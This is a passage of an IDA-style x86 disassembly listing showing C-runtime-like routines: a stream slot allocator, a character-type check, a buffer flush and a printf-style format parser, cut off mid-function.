		cmp	ecx, ebp
		jz	short loc_41F409
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F404
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F3EE
		jmp	short loc_41F443
; ---------------------------------------------------------------------------


loc_41F404:				; CODE XREF: sub_41F3D2+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F42D
; ---------------------------------------------------------------------------


loc_41F409:				; CODE XREF: sub_41F3D2+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BC9B
		pop	ecx
		mov	ecx, dword_4D9A30
		mov	[edi+ecx], eax
		mov	eax, dword_4D9A30
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F443
		mov	esi, edi


loc_41F42D:				; CODE XREF: sub_41F3D2+35j
		cmp	esi, ebp
		jz	short loc_41F443
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F443:				; CODE XREF: sub_41F3D2+12j
					; sub_41F3D2+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F3D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F44A	proc near		; CODE XREF: sub_41BE6E+17p
					; sub_41BE6E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F468
		mov	ecx, off_43A680
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F4BA
; ---------------------------------------------------------------------------


loc_41F468:				; CODE XREF: sub_41F44A+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43A680
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F48D
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F496
; ---------------------------------------------------------------------------


loc_41F48D:				; CODE XREF: sub_41F44A+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F496:				; CODE XREF: sub_41F44A+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423BF4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F4B6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F4B6:				; CODE XREF: sub_41F44A+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F4BA:				; CODE XREF: sub_41F44A+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F44A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4BF	proc near		; CODE XREF: sub_41C006+46p
					; sub_41C100+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F5C8
		test	al, 40h
		jnz	loc_41F5C8
		test	al, 1
		jz	short loc_41F4F7
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F5C8
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F4F7:				; CODE XREF: sub_41F4BF+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F531
		cmp	esi, offset dword_43AD98
		jz	short loc_41F51F
		cmp	esi, offset dword_43ADB8
		jnz	short loc_41F52A


loc_41F51F:				; CODE XREF: sub_41F4BF+56j
		push	ebx
		call	sub_423D3D
		test	eax, eax
		pop	ecx
		jnz	short loc_41F531


loc_41F52A:				; CODE XREF: sub_41F4BF+5Ej
		push	esi
		call	sub_4238F7
		pop	ecx


loc_41F531:				; CODE XREF: sub_41F4BF+4Ej
					; sub_41F4BF+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F59E
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F561
		push	edi
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F594
; ---------------------------------------------------------------------------


loc_41F561:				; CODE XREF: sub_41F4BF+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F57C
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F581
; ---------------------------------------------------------------------------


loc_41F57C:				; CODE XREF: sub_41F4BF+A5j
		mov	eax, offset dword_43ACE0


loc_41F581:				; CODE XREF: sub_41F4BF+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F594
		push	2
		push	0
		push	ebx
		call	sub_422633
		add	esp, 0Ch


loc_41F594:				; CODE XREF: sub_41F4BF+A0j
					; sub_41F4BF+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F5B2
; ---------------------------------------------------------------------------


loc_41F59E:				; CODE XREF: sub_41F4BF+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F5B2:				; CODE XREF: sub_41F4BF+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F5BE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F5CD
; ---------------------------------------------------------------------------


loc_41F5BE:				; CODE XREF: sub_41F4BF+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F5D0
; ---------------------------------------------------------------------------


loc_41F5C8:				; CODE XREF: sub_41F4BF+10j
					; sub_41F4BF+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F5CD:				; CODE XREF: sub_41F4BF+FDj
		or	eax, 0FFFFFFFFh


loc_41F5D0:				; CODE XREF: sub_41F4BF+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F4BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5D4	proc near		; CODE XREF: sub_41C006+29p
					; sub_41C100+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FCED
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F608
; ---------------------------------------------------------------------------


loc_41F600:				; CODE XREF: sub_41F5D4+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F608:				; CODE XREF: sub_41F5D4+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FCED
		cmp	bl, 20h
		jl	short loc_41F629
		cmp	bl, 78h
		jg	short loc_41F629
		movsx	eax, bl
		mov	al, byte ptr flt_427704[eax]
		and	eax, 0Fh
		jmp	short loc_41F62B
; ---------------------------------------------------------------------------


loc_41F629:				; CODE XREF: sub_41F5D4+40j
					; sub_41F5D4+45j
		xor	eax, eax


loc_41F62B:				; CODE XREF: sub_41F5D4+53j
		movsx	eax, byte_427724[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FCDC	; default
		jmp	off_41FCF5[eax*4] ; switch jump


loc_41F649:				; DATA XREF: ___:off_41FCF5o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F664:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		movsx	eax, bl		; jumptable 0041F642 case 2
		sub	eax, 20h
		jz	short loc_41F6A7
		sub	eax, 3
		jz	short loc_41F69E
		sub	eax, 8
		jz	short loc_41F695
		dec	eax
		dec	eax
		jz	short loc_41F68C
		sub	eax, 3
		jnz	loc_41FCDC	; default
		or	[ebp+var_4], 8
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F68C:				; CODE XREF: sub_41F5D4+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F695:				; CODE XREF: sub_41F5D4+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F69E:				; CODE XREF: sub_41F5D4+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6A7:				; CODE XREF: sub_41F5D4+96j
		or	[ebp+var_4], 2
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6B0:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 2Ah		; jumptable 0041F642 case 3
		jnz	short loc_41F6D8
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FCDC	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F6D0:				; CODE XREF: sub_41F5D4+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6D8:				; CODE XREF: sub_41F5D4+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F6D0
; ---------------------------------------------------------------------------


loc_41F6E7:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		mov	[ebp+var_10], edx ; jumptable 0041F642 case 4
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6EF:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 2Ah		; jumptable 0041F642 case 5
		jnz	short loc_41F712
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FCDC	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F712:				; CODE XREF: sub_41F5D4+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F724:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 49h		; jumptable 0041F642 case 6
		jz	short loc_41F757
		cmp	bl, 68h
		jz	short loc_41F74E
		cmp	bl, 6Ch
		jz	short loc_41F745
		cmp	bl, 77h
		jnz	loc_41FCDC	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F745:				; CODE XREF: sub_41F5D4+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F74E:				; CODE XREF: sub_41F5D4+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F5D4+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F770
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F770
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F770:				; CODE XREF: sub_41F5D4+186j
					; sub_41F5D4+18Cj
		mov	[ebp+var_30], edx


loc_41F773:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		mov	ecx, off_43A680	; jumptable 0041F642 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F79F
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FD15
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F79F:				; CODE XREF: sub_41F5D4+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FD15
		add	esp, 0Ch
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F7B7:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		movsx	eax, bl		; jumptable 0041F642 case 7
		cmp	eax, 67h
		jg	loc_41F9DF
		cmp	eax, 65h
		jge	loc_41F862
		cmp	eax, 58h
		jg	loc_41F8C0
		jz	loc_41FA53
		sub	eax, 43h
		jz	loc_41F883
		dec	eax
		dec	eax
		jz	short loc_41F858
		dec	eax
		dec	eax
		jz	short loc_41F858
		sub	eax, 0Ch
		jnz	loc_41FBDE
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F801
		or	byte ptr [ebp+var_4+1],	8


loc_41F801:				; CODE XREF: sub_41F5D4+227j
					; sub_41F5D4+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F80E
		mov	esi, 7FFFFFFFh


loc_41F80E:				; CODE XREF: sub_41F5D4+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FA27
		test	ecx, ecx
		jnz	short loc_41F836
		mov	ecx, off_43A89C
		mov	[ebp+var_8], ecx


loc_41F836:				; CODE XREF: sub_41F5D4+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F83F:				; CODE XREF: sub_41F5D4+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FA1E
		cmp	word ptr [eax],	0
		jz	loc_41FA1E
		inc	eax
		inc	eax
		jmp	short loc_41F83F
; ---------------------------------------------------------------------------


loc_41F858:				; CODE XREF: sub_41F5D4+212j
					; sub_41F5D4+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F862:				; CODE XREF: sub_41F5D4+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41F946
		mov	[ebp+var_10], 6
		jmp	loc_41F954
; ---------------------------------------------------------------------------


loc_41F883:				; CODE XREF: sub_41F5D4+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F88F
		or	byte ptr [ebp+var_4+1],	8


loc_41F88F:				; CODE XREF: sub_41F5D4+2B5j
					; sub_41F5D4+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F8D6
		call	sub_41FDD0
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423D63
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F8E9
		mov	[ebp+var_28], 1
		jmp	short loc_41F8E9
; ---------------------------------------------------------------------------


loc_41F8C0:				; CODE XREF: sub_41F5D4+1FBj
		sub	eax, 5Ah
		jz	short loc_41F8F7
		sub	eax, 9
		jz	short loc_41F88F
		dec	eax
		jz	loc_41FAB9
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F8D6:				; CODE XREF: sub_41F5D4+2C5j
		call	sub_41FDB3
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F8E9:				; CODE XREF: sub_41F5D4+2E1j
					; sub_41F5D4+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F8F7:				; CODE XREF: sub_41F5D4+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		jz	short loc_41F938
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41F938
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F929
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F929:				; CODE XREF: sub_41F5D4+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41F938:				; CODE XREF: sub_41F5D4+32Fj
					; sub_41F5D4+336j
		mov	eax, off_43A898
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41F9D4
; ---------------------------------------------------------------------------


loc_41F946:				; CODE XREF: sub_41F5D4+29Dj
		jnz	short loc_41F954
		cmp	bl, 67h
		jnz	short loc_41F954
		mov	[ebp+var_10], 1


loc_41F954:				; CODE XREF: sub_41F5D4+2AAj
					; sub_41F5D4:loc_41F946j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43AC28
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41F9A6
		cmp	[ebp+var_10], 0
		jnz	short loc_41F9A6
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43AC34
		pop	ecx


loc_41F9A6:				; CODE XREF: sub_41F5D4+3BCj
					; sub_41F5D4+3C2j
		cmp	bl, 67h
		jnz	short loc_41F9BD
		test	esi, esi
		jnz	short loc_41F9BD
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43AC2C
		pop	ecx


loc_41F9BD:				; CODE XREF: sub_41F5D4+3D5j
					; sub_41F5D4+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41F9D3
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41F9D3:				; CODE XREF: sub_41F5D4+3F0j
		push	edi


loc_41F9D4:				; CODE XREF: sub_41F5D4+36Dj
		call	sub_41B960
		pop	ecx
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41F9DF:				; CODE XREF: sub_41F5D4+1E9j
		sub	eax, 69h
		jz	loc_41FAB9
		sub	eax, 5
		jz	loc_41FA8F
		dec	eax
		jz	loc_41FA7C
		dec	eax
		jz	short loc_41FA4C
		sub	eax, 3
		jz	loc_41F801
		dec	eax
		dec	eax
		jz	loc_41FABD
		sub	eax, 3
		jnz	loc_41FBDE
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FA5A
; ---------------------------------------------------------------------------


loc_41FA1E:				; CODE XREF: sub_41F5D4+270j
					; sub_41F5D4+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41FA27:				; CODE XREF: sub_41F5D4+24Fj
		test	ecx, ecx
		jnz	short loc_41FA34
		mov	ecx, off_43A898
		mov	[ebp+var_8], ecx


loc_41FA34:				; CODE XREF: sub_41F5D4+455j
		mov	eax, ecx


loc_41FA36:				; CODE XREF: sub_41F5D4+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FA45
		cmp	byte ptr [eax],	0
		jz	short loc_41FA45
		inc	eax
		jmp	short loc_41FA36
; ---------------------------------------------------------------------------


loc_41FA45:				; CODE XREF: sub_41F5D4+467j
					; sub_41F5D4+46Cj
		sub	eax, ecx
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41FA4C:				; CODE XREF: sub_41F5D4+425j
		mov	[ebp+var_10], 8


loc_41FA53:				; CODE XREF: sub_41F5D4+201j
		mov	[ebp+var_2C], 7


loc_41FA5A:				; CODE XREF: sub_41F5D4+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FAC4
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FAC4
; ---------------------------------------------------------------------------


loc_41FA7C:				; CODE XREF: sub_41F5D4+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FAC4
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FAC4
; ---------------------------------------------------------------------------


loc_41FA8F:				; CODE XREF: sub_41F5D4+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FAA8
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FAAD
; ---------------------------------------------------------------------------


loc_41FAA8:				; CODE XREF: sub_41F5D4+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FAAD:				; CODE XREF: sub_41F5D4+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41FAB9:				; CODE XREF: sub_41F5D4+2F7j
					; sub_41F5D4+40Ej
		or	[ebp+var_4], 40h


loc_41FABD:				; CODE XREF: sub_41F5D4+432j
		mov	[ebp+var_C], 0Ah


loc_41FAC4:				; CODE XREF: sub_41F5D4+491j
					; sub_41F5D4+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FAD6
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDC0
		pop	ecx
		jmp	short loc_41FB17
; ---------------------------------------------------------------------------


loc_41FAD6:				; CODE XREF: sub_41F5D4+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FAFD
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FAF2
		call	sub_41FDB3
		pop	ecx
		movsx	eax, ax


loc_41FAEF:				; CODE XREF: sub_41F5D4+527j
					; sub_41F5D4+539j
		cdq
		jmp	short loc_41FB17
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F5D4+510j
		call	sub_41FDB3
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FAEF
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F5D4+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FB0F
		call	sub_41FDB3
		pop	ecx
		jmp	short loc_41FAEF
; ---------------------------------------------------------------------------


loc_41FB0F:				; CODE XREF: sub_41F5D4+531j
		call	sub_41FDB3
		pop	ecx
		xor	edx, edx


loc_41FB17:				; CODE XREF: sub_41F5D4+500j
					; sub_41F5D4+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FB38
		test	edx, edx
		jg	short loc_41FB38
		jl	short loc_41FB27
		test	eax, eax
		jnb	short loc_41FB38


loc_41FB27:				; CODE XREF: sub_41F5D4+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FB3C
; ---------------------------------------------------------------------------


loc_41FB38:				; CODE XREF: sub_41F5D4+547j
					; sub_41F5D4+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FB3C:				; CODE XREF: sub_41F5D4+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FB45
		and	edi, 0


loc_41FB45:				; CODE XREF: sub_41F5D4+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FB54
		mov	[ebp+var_10], 1
		jmp	short loc_41FB58
; ---------------------------------------------------------------------------


loc_41FB54:				; CODE XREF: sub_41F5D4+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FB58:				; CODE XREF: sub_41F5D4+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FB62
		and	[ebp+var_1C], 0


loc_41FB62:				; CODE XREF: sub_41F5D4+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FB68:				; CODE XREF: sub_41F5D4+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FB78
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FBB3


loc_41FB78:				; CODE XREF: sub_41F5D4+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DC20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DBB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FBA9
		add	ebx, [ebp+var_2C]


loc_41FBA9:				; CODE XREF: sub_41F5D4+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FB68
; ---------------------------------------------------------------------------


loc_41FBB3:				; CODE XREF: sub_41F5D4+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FBDE
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FBD1
		test	eax, eax
		jnz	short loc_41FBDE


loc_41FBD1:				; CODE XREF: sub_41F5D4+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FBDB:				; CODE XREF: sub_41F5D4+35Fj
					; sub_41F5D4+406j ...
		mov	[ebp+var_C], eax


loc_41FBDE:				; CODE XREF: sub_41F5D4+21Bj
					; sub_41F5D4+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FCDC	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FC16
		test	bh, 1
		jz	short loc_41FBFB
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FC0F
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41F5D4+61Fj
		test	bl, 1
		jz	short loc_41FC06
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FC0F
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41F5D4+62Aj
		test	bl, 2
		jz	short loc_41FC16
		mov	[ebp+var_16], 20h


loc_41FC0F:				; CODE XREF: sub_41F5D4+625j
					; sub_41F5D4+630j
		mov	[ebp+var_1C], 1


loc_41FC16:				; CODE XREF: sub_41F5D4+61Aj
					; sub_41F5D4+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FC36
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FD4A
		add	esp, 10h


loc_41FC36:				; CODE XREF: sub_41F5D4+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FD7B
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FC68
		test	bl, 4
		jnz	short loc_41FC68
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FD4A
		add	esp, 10h


loc_41FC68:				; CODE XREF: sub_41F5D4+67Bj
					; sub_41F5D4+680j
